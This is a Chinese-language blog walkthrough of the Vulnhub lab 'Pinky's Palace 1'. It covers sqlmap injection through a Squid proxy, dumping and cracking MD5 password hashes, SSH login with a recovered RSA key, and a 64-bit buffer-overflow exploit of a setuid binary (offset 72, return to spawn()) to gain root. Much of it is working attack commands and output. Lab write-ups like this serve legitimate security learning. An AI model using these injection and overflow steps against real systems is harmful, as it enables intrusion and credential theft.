Vulnhub百个项目渗透——项目二十六:Pinky’s-Palace-1(代理访问,缓冲区溢出)
靶场地址
系列专栏:Vulnhub百个项目渗透
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月28日
作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
发现了ssh以及8080的web还有一个31337的代理服务
这个squid在之前的项目中提到过,代理某个端口,使得不能外网访问,而要必须走这个31337的端口。那么大致确定一下方向:通过代理端口访问web页面,再进行信息收集,通过发现的东西获取ssh的登录,然后进了ssh做提权操作
发现是一个登录框,这时候的思路就是
经过测试,弱口令无效,手工了一些弱验证无效,不知道用户名,url也没有异常,登录失败的提示是“Incorrect Username or Password”,也无法分类爆破。那就只能sql注入了基本上,做登陆的sql注入使用的方法是:bp抓包而后整体跑sqlmap
就这么设置即可,然后浏览器挂bp的代理,抓到包以后右键保存到本地(copy to file)
--proxy:走代理
--dump:导出列里面的字段
sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch
payload存在!
sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 --dbs
[*] information_schema
[*] pinky_sec_db
sqlmap --proxy="http://192.168.4.175:31337" -r 1.txt --level 3 -D pinky_sec_db --tables
+-------+
| logs |
| users |
+-------+
sqlmap --proxy="http://192.168.56.105:31337" -r bp.txt --level 3 --batch -D pinky_sec_db -T users -C user,pass --dump
+-------------+----------------------------------+
| user | pass |
+-------------+----------------------------------+
| pinkymanage | d60dffed7cc0d87e1f4a11aa06ca73af |
| pinky | f543dbfeaf238729831a321c7a68bee4 |
+-------------+----------------------------------+
这应该就是账号密码
数据库中的密码一般都是md5
三种解密md5的方法:
- https://www.somd5.com/ —在线解密
- john --format=raw-md5 --show hash.txt
- hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af/usr/share/wordlists/rockyou.txt
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3
pinkymanage 3pinkysaf33pinkysaf3
另外一个解密不出来
ssh pinkymanage@192.168.4.175 -p64666
然后开始内网提权的信息收集准备
但是三个脚本都跑完了都没啥东西,内核漏洞都试了都不行
sudo -l也没有特殊的
信息收集结果大概如下:
pinkymanage:x:1001:1001:pinkymanage,,,:/home/pinkymanage:/bin/bash
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
5)_ grep note.txt ---存在文本信息
find / -name note.txt 2>/dev/null --找到这个文件
打开发现:
Hmm just in case I get locked out of my server I put this rsa key
here… Nobody will find it heh.
ls -la
发现了一个
cat .ultrasecret ---打开看看
是一个base64编码,因为最后有=
解码得到一个密钥
vi haha -----打开一个haha,然后把密钥粘贴进去
chmod +600 haha
ssh -i haha pinky@192.168.56.105 -p 64666
用这个密钥去登陆另外一个pinky的用户
ls
发现了一个冒红的文件
file adminhelper --64位二进制文件
猜测是缓冲区溢出,先看看ASLR随机化开启了没
cat /proc/sys/kernel/randomize_va_space
开个服务传到本地分析一下
python SimpleHTTPServer 8888
本地kali下载下来
md5sum adminhelper --两边都校验一下md5,确保文件不出错
手里拿到可执行文件啥也不说了先判断一下缓冲区溢出吧。
./adminhelper $(python -c "print 'A'*100") 判断能不能溢出
strings adminhelper
或
disas main ---查看main函数
或
gdb adminhelper
info functions
info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,
结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,
即可正确加断点。
jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去
break : 给程序设置断点
i b : 查看断点
delect编号 : 删除断点
disas $pc:反汇编当前函数
spawn() ---生成一个shell,(按照文件权限)
发现不仅有stycpy还有spawn,并且不是我们熟知的esp而是rsp
sp 是esp的低16位,esp是rsp的低32位。
有时候在介绍东西的时候,如果知识对32位,64位之类都适用,我会统一把堆栈寄存器称为sp。 ss属于16位遗产,堆栈段寄存器。
生成
gdb ./adminhelper
pattern_create 100 buf
r $(cat buf) ---0000| 0x7fffffffde98 ("IAAeAA4A")
验证
pattern_offset "IAAeAA4AAJAAfAA5AAKAAgAA6AAL" (search模块也行)
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
run $(python -c "print 'A'*72 + 'B'*6")
info r
rbp 0x4141414141414141
rip 0x424242424242
rsp 0x7fffffffe550
可以看到RBP,RIP都被覆盖
info functions ---gdb进入调试程序后,查看函数
0x00000000000007d0 spawn 但是这里的不是真正的地址,因为还没有填充数据,属于还没有溢出的环境
gdb调试程序->main下断点->执行后jump回spawn函数->最终判断
gdb adminhelper
(gdb) break main ----下断点main处
Breakpoint 1 at 0x817
(gdb) run ----运行
Starting program: /home/pinky/adminhelper
Breakpoint 1, 0x0000555555554817 in main ()
(gdb) jump spawn ----查看寄存器
Continuing at 0x5555555547d4.
run $(python -c "print 'A'*72 + 'B'*6")
disas spawn
在第一个压栈(push)的数据可以看到下面的地址
0x00005555555547d0 <+0>: push %rbp
看到目标内存地址是0x00005555555547d0,创建shell需要注入到5555555547d0,以避免在shellcode中有空字节,在shellcode中,字节顺序相反,所以:
\xd0\x47\x55\x55\x55\x55
./adminhelper $(python2 -c “print ‘A’*72+‘\xd0\x47\x55\x55\x55\x55’”)
成功获得root权限!